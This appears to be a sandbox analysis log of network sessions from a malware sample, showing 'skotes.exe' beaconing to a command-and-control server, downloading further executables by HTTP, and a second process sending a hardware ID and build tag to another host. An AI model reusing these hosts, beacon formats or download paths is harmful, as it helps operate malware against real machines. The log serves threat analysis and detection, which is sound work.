10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 40 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4g/@/Q0@T@hA @.rsrc 00@.idata @0@rldksuue P2@vavwmpozp/P/@.taggant0/"T/@
Nov 13, 2024 18:09:09.238384008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:09.238394976 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:09.238636017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:09.238646030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: $^<\
Nov 13, 2024 18:09:09.238656998 CET	1236	IN	Data Raw: 59 c8 60 8c 14 08 65 73 24 45 6f 8d 24 cc 64 0a 59 0c e0 c9 21 8c ef 89 14 08 ec b1 59 c8 60 89 14 08 65 ce d4 14 65 89 14 08 1e 4a 1c 08 65 89 14 8f 9f 91 9b 2f e9 b7 94 c3 64 42 21 8b ed 88 14 08 ec 55 38 18 e2 60 18 0b 91 8b 43 48 eb 8d 38 cd Data Ascii: Y`es$Eo$dY!Y`eeJe/dB!U8`CH8CDPeYUeeE8eX}L`UXe eIeY`e=eeeME8?dL`Uce30w$^+!~I<\|\|
Nov 13, 2024 18:09:09.238662004 CET	636	IN	Data Raw: e5 dd 0c c4 92 45 15 0b 59 14 e0 c9 08 0f e2 61 18 0a 90 8a 9d b8 6c 10 85 e6 b5 42 55 54 28 d6 60 91 a8 ad 18 f7 24 0d 5c bc 6b 0a 0c 0c 63 5c 15 91 a3 91 55 54 28 d6 60 54 28 d6 60 54 28 d6 60 dd ae 12 09 ec 68 c0 82 8b 0e 5e 45 91 98 ad 24 8b Data Ascii: EYalBUT(`$\kc\UT(`T(`T(`h^E$^=c<?\|L FLhUebklc}<!`T(`T(`T(`$\ka\UT(`T(`T(`?@yC>E8dL`9EYalBUT(`
Nov 13, 2024 18:09:09.239207029 CET	1236	IN	Data Raw: 95 4c 60 39 e9 de 0c 44 90 45 15 0b 59 14 e0 c9 08 14 ea 55 38 20 54 c2 4b d0 60 96 a8 49 eb c1 f2 e5 b9 ca 60 91 a8 ad 18 f7 24 0d 5c bc 65 12 e9 ec 6c a0 e3 10 8f 8f 9d c7 60 12 19 98 21 d6 60 54 28 d6 60 91 a0 ad 18 8b 24 5e 18 91 a4 91 55 f7 Data Ascii: L`9DEYU8 TK`I`$\el`!`T(`$^U$`$\xlz`!`l`T(`T(`hUxeefe?`9d\|S'uM tH0EY Y\|e$e
Nov 13, 2024 18:09:09.239217997 CET	1236	IN	Data Raw: 98 97 64 89 14 89 98 ad 18 08 66 0d 9b 08 65 89 95 04 41 89 21 8c 98 89 14 08 e0 f4 08 c0 eb c1 95 28 5e 0a 76 40 f4 f9 a4 98 f4 f9 a4 98 f4 f9 a4 4d 5e e6 91 45 15 cf da 0c 16 e7 91 45 1d 50 1c 45 15 e7 91 4d 9e 95 91 45 15 e7 59 ce 74 e6 91 45 Data Ascii: dfeA!(^v@M^EEPEMEYtEEP,EMENDV@Hu8\|M^E[\^}'uM Eo$dY^8}L`H}L`<eyEHBIS@\|S
Nov 13, 2024 18:09:09.239233971 CET	1236	IN	Data Raw: 15 8b 07 97 98 3e 64 89 14 8f 3b 0a 54 58 e4 e0 1b bd 5f 0a 56 58 09 ab 9b 5f e4 c8 b1 88 1b 8d 09 0b e2 ca bb 31 70 10 6c 88 23 27 95 3f 5e 5b 19 81 15 e7 91 45 09 8b 95 49 2b 11 64 88 23 ba 94 3f 6b 5e 17 89 22 ba 7d e9 eb b8 94 47 f5 09 8c 0b Data Ascii: >d;TX_VX_1pl#'?^[EI+d#?k^"}GJ(3T]#E}[#TX_UXG1pT#'?^[EH+[T#?k^$}GH(#T]!E}[DE@^GSlnG
Nov 13, 2024 18:09:09.243360996 CET	1236	IN	Data Raw: 14 89 20 96 13 c6 bc b0 12 e4 61 27 a1 08 65 89 9b 86 e8 89 14 08 ea 4f 10 8f 5c 0a 13 a8 64 5d 1d f7 24 0b 13 e4 64 96 a8 48 09 47 43 48 09 43 9b 5b ae f1 33 07 65 89 95 4c 60 0c 55 15 e1 0c 15 08 65 0c 92 bc 42 21 15 f8 64 89 35 ce 6c 5d 2c 91 Data Ascii: a'eO\d]$dHGCHC[3eL`UeB!d5l],e @EYO,9^'edeL`E;0$b9iAa\k[edeseY$F`T(`T(`he=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50128	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:13.277371883 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 30 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006014001&unit=246122658369
Nov 13, 2024 18:09:14.181873083 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50129	185.215.113.16	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:14.188833952 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 13, 2024 18:09:15.098978043 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:14 GMT Content-Type: application/octet-stream Content-Length: 1784832 Last-Modified: Wed, 13 Nov 2024 17:05:35 GMT Connection: keep-alive ETag: "6734dc5f-1b3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 a2 08 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@h@M$a$ $b@.rsrc $r@.idata $r@ *$t@yumhawtmNv@fluclfuhh@.taggant0h"@
Nov 13, 2024 18:09:15.099009991 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:15.099077940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:15.099090099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:15.099102974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:15.099121094 CET	636	IN	Data Raw: 60 73 d2 e0 c2 8d bb 69 65 22 33 42 ea 4a e9 32 b4 02 42 62 23 92 b5 e6 ab de 61 9b de a7 3e 37 79 d9 d8 3b 1b 13 71 df 33 57 73 31 ef 26 cc 09 86 01 cb b1 21 be 11 6d 66 d7 17 80 21 1d 69 eb 9c a3 d9 06 a4 4c 46 47 0f 82 7c c6 86 10 89 ed 7b 1a Data Ascii: `sie"3BJ2Bb#a>7y;q3Ws1&!mf!iLFG\|{?cb.~3p&o:"g*~Y'rJ&J!sRmy:5$wRQ,"{+ga'Txogpx^-"oZ!q,4&_[Neh9>BS
Nov 13, 2024 18:09:15.099145889 CET	1236	IN	Data Raw: 4b ea 51 e1 4a 47 aa 0a 4e b8 ba 6f 4f 72 b8 8e 46 e3 c1 66 62 61 3c 6e b1 c5 fd ef 8a 60 32 46 af 8e b4 72 a2 fc fb ed 4a 94 6f 5f 63 98 97 56 6e 0a 83 f8 a4 f2 87 20 77 56 64 76 ac b4 77 25 60 96 74 c6 62 a2 08 d5 3b 5b 78 0a e3 c2 97 e6 2a fe Data Ascii: KQJGNoOrFfba<n`2FrJo_cVn wVdvw%`tb;[x`23aRk2`p/Lfqe;vvP{eJOP:_`Q(u 1~=:E[(NvnQgy)4(G^**6hz=oVjF!aPv
Nov 13, 2024 18:09:15.099157095 CET	212	IN	Data Raw: 24 54 d7 16 4f 9a be 4a 5b ba a2 26 2f 3b 07 2c d7 3b 2a 2a 03 b3 48 e1 28 4f 3d 7d b9 c6 0b e4 e4 7b 42 a6 79 ca af d0 0a ac 01 8c 73 96 32 72 71 11 74 0a 3c 63 16 60 57 77 20 d8 d1 41 f9 cd 52 42 5f 86 d0 17 32 98 4b 68 be d9 99 47 94 69 6a 68 Data Ascii: $TOJ[&/;,;*H(O=}{Bys2rqt<c`Ww ARB_2KhGijhZ"5 L}fEUJ/.szg`q_CI@6.5Cvpnp:UjH2U ?>\yzJl"1;Mf0Fb9
Nov 13, 2024 18:09:15.099169970 CET	1236	IN	Data Raw: 30 3a 8f 10 8d e4 e3 14 8f 66 78 df f2 72 35 90 7d 8f bf 78 9a 1a f7 60 e2 db 40 81 21 d5 b4 21 16 13 d6 d2 96 6e aa e0 aa f2 01 d3 9e f6 bf 8e 8e 21 e9 26 2b 52 04 ce 22 fb 4a ed 16 46 b5 36 7d d7 bb 9f 0a 70 29 d3 21 97 6a 1f 2f 7b cd e5 c6 1e Data Ascii: 0:fxr5}x`@!!n!&+R"JF6}p)!j/{)rD4db124<A~q-P/d)u*2:>zm3.tUXI-{Qv+Jb"5Z'pn
Nov 13, 2024 18:09:15.099184036 CET	1236	IN	Data Raw: 7b 16 a0 bb 1f 43 ea fe 20 82 36 00 57 19 f8 c5 4e 72 d0 fe 20 50 d6 ff ca a2 69 50 2c 80 42 d4 22 2a 3b 7e 81 73 0f f0 c2 fa a8 72 2a 72 36 23 ce 9a 33 d1 ba c1 38 d7 de 66 c9 e6 6d 1e 00 03 37 62 a4 b2 b0 56 3d 34 af ee f1 cf 54 88 a6 a2 9e 56 Data Ascii: {C 6WNr PiP,B";~srr6#38fm7bV=4TV@>XuP(fQ"djd3RA(.WT[@O\q@sB"5Q?"SNUK*e)CFbbG!udr#e5.Bj~bt>#t(
Nov 13, 2024 18:09:15.104115963 CET	1236	IN	Data Raw: 29 15 f8 8c a2 16 b1 56 54 42 36 19 9e 70 c6 20 7d 90 a4 d6 42 76 4e 00 78 a1 99 17 43 72 a4 20 ff 73 e1 fe 95 62 1a d4 ca 16 ea ca 81 61 36 7f df 02 f8 d4 b6 a2 56 66 a9 8f c2 fe a2 0e 3a cf ba 1e 37 91 06 9b a5 c6 4f 9c a6 ec 54 a2 89 33 1b 1a Data Ascii: )VTB6p }BvNxCr sba6Vf:7OT3&kP RiRM sX"X TR4bRTbphmelb~IZ#/n\fV\xyRzb*ANm ZD:~AkP"bt w%\|'zjt`C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50132	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:18.399141073 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 30 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006015001&unit=246122658369
Nov 13, 2024 18:09:19.309832096 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50133	185.215.113.206	80	6648	C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:19.191535950 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:09:20.115696907 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:09:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:09:20.118115902 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 2d 2d 0d 0a Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="build"mars------AAFBAKECAEGCBFIEGDGI--
Nov 13, 2024 18:09:20.409774065 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:09:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50134	185.215.113.16	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:19.474780083 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Wed, 13 Nov 2024 17:05:35 GMT If-None-Match: "6734dc5f-1b3c00"
Nov 13, 2024 18:09:20.377577066 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:20 GMT Last-Modified: Wed, 13 Nov 2024 17:05:35 GMT Connection: keep-alive ETag: "6734dc5f-1b3c00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50136	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:22.372479916 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 30 31 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006016031&unit=246122658369
Nov 13, 2024 18:09:23.308484077 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50138	185.215.113.16	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:23.319061995 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 13, 2024 18:09:24.221950054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:24 GMT Content-Type: application/octet-stream Content-Length: 2821632 Last-Modified: Wed, 13 Nov 2024 17:04:14 GMT Connection: keep-alive ETag: "6734dc0e-2b0e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 96 1c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@duljzden*:@eqdjltoc `+@.taggant@+"*@
Nov 13, 2024 18:09:24.221963882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:24.221972942 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:24.222037077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:24.222047091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:24.222057104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:24.222100019 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:24.222109079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 13, 2024 18:09:24.222116947 CET	212	IN	Data Raw: 5e 90 0c 67 06 88 07 67 4c 4e 13 50 4e 81 ff 56 58 82 2c b9 44 a9 2e 84 42 bf 10 4d b7 81 12 4e 39 40 18 7a 17 20 3b 8b 57 8c 15 69 7a f3 1b 54 16 8e f7 90 62 f3 c9 9a 60 a0 08 2a 85 26 89 18 7b 94 2b 6a 79 86 13 80 7e 87 0e 2e b9 7f c3 a3 6a 95 Data Ascii: ^ggLNPNVX,D.BMN9@z ;WizTb`*&{+jy~.jwiQYrB)`TSzsslJ 4KrQV:KQBSkbvgH)dc;@t["RQAn\|%xld,}FK#a
Nov 13, 2024 18:09:24.222162962 CET	1236	IN	Data Raw: 12 01 98 ac f9 59 4e 82 22 c7 02 4d 5e 9f 32 7c 9a 92 05 48 50 c1 0f 46 60 97 c9 5e 62 8a 22 8c c8 95 1e a4 ac ae 31 42 3e a8 0f dd 8a 71 20 71 e2 a2 09 c7 b8 41 48 4c 52 ef 20 93 18 82 b6 5f cd 90 ff 67 49 8d 07 4e 54 8c 22 5b 65 bd 17 50 33 e1 Data Ascii: YN"M^2\|HPF`^b"1B>q qAHLR _gINT"[eP3#]>4&*IG1}=WT>t &FX^cGFX\(oIZBM#T[NIl]yQYcR\|Q,=%_M=r&UQi^KCYRKmT\|+?
Nov 13, 2024 18:09:24.226916075 CET	1236	IN	Data Raw: f0 f0 60 8f f5 83 9e 0a 65 8d 68 8c 8e ec 28 ba c0 d4 78 80 b2 29 83 c6 8c b0 84 63 be b1 bc e6 47 0c 16 14 65 10 35 8d ce a1 9c da d6 48 a5 ae de b3 ac cc 09 a8 8c 63 0e 8d b4 9d a6 34 87 23 5f 3c 37 0a 54 44 51 f2 02 06 51 16 57 e7 11 1a 3f 63 Data Ascii: `eh(x)cGe5Hc4#_<7TDQQW?c^""l',dA<FHK{v\+Lhne\*x3u>?M}6cWLP7cHP0dkM;mSMiCy^rZSI;\|@fsDwG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50147	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:27.858433008 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006017001&unit=246122658369
Nov 13, 2024 18:09:28.785804033 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50151	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:30.420840979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:09:31.328483105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50158	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
